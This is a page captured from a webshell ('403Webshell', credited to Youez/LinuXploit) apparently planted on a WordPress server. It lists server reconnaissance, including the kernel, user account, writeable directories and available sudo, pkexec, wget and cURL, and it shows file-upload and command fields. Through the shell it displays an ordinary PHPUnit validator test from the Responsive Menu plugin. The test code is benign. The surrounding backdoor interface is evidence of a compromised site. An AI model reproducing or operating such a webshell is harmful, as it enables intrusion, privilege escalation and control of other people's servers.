403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.55
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.7
System : Linux ip-172-31-69-123.ec2.internal 6.1.177-224.371.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 27 20:28:29 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /ourscripts/oldmandy/wp-content/responsive-menu/tests/app/Validation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /ourscripts/oldmandy/wp-content/responsive-menu/tests/app/Validation/ValidatorTest.php
<?php

use PHPUnit\Framework\TestCase;
use ResponsiveMenu\Validation\Validator;

class ValidatorTest extends TestCase {

    public function testCorrectErrorsReturned() {
        $options = [
            'button_background_colour' => 'will fail',
            'menu_link_colour' => '#ffffff'
        ];
        $validator = new Validator();
        $this->assertFalse($validator->validate($options));
        $errors = $validator->getErrors();

        $this->assertCount(1, $errors);
        $this->assertArrayHasKey('button_background_colour', $errors);

        // Tests the creation of URL inside error message
        $this->assertContains('#responsive-menu-button-background-colour', $errors['button_background_colour'][0]);

        // Test the conversion of ID to name inside error message
        $this->assertContains('Button background colour', $errors['button_background_colour'][0]);
    }

    public function testNoErrorsThrown() {
        $options = [
            'button_background_colour' => '#DADADA',
            'menu_link_colour' => '#ffffff'
        ];
        $validator = new Validator();
        $this->assertTrue($validator->validate($options));
        $this->assertEmpty($validator->getErrors());
    }

    public function testCombinedValidators() {
        $options = [
            'breakpoint' => '-3.5abc',
            'menu_link_colour' => '#ffffff'
        ];
        $validator = new Validator();
        $this->assertFalse($validator->validate($options));
        $this->assertEquals(count($validator->getErrors()['breakpoint']), 2);
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit